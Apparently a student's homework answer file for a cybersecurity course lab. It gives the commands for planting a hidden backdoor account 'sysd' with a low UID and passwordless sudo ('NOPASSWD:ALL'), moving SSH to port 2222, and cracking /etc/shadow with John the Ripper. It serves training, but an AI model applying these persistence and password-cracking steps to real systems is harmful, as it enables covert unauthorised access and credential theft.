## Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

\*\*Step 1: Shadow People\*\*

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

- `**useradd sysd** `

2. Give your secret user a password:

- `**passwd sysd**`

3. Give your secret user a system UID < 1000:

- `**usermod -u 910 sysd**`

4. Give your secret user the same GID:

- `**groupmod -g 910 sysd**`

5. Give your secret user full `sudo` access without the need for a password:

- `**usermod -aG sudo sysd** `

6. Test that `sudo` access works without your password:

```**sysd ALL=(ALL) NOPASSWD:ALL**

```

\*\*Step 2: Smooth Sailing\*\*

1. Edit the `sshd\_config` file:

```

**Port 2222**

```

\*\*Step 3: Testing Your Configuration Update\*\*

1. Restart the SSH service:

- `**service ssh restart**`

2. Exit the `root` account:

- `**exit**`

3. SSH to the target machine using your `sysd` account and port `2222`:

- `**ssh** [**sysd@192.168.6.105**](mailto:sysd@192.168.6.105) **-p 2222** `

4. Use `sudo` to switch to the root user:

- `**sudo su**`

\*\*Step 4: Crack All the Passwords\*\*

1. SSH back to the system using your `sysd` account and port `2222`:

- ` **ssh** [**sysd@192.168.6.105**](mailto:sysd@192.168.6.105) **-p 2222**’

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

- `**john -w:/home/student/Desktop/.pass\_list.txt ./shadow**`

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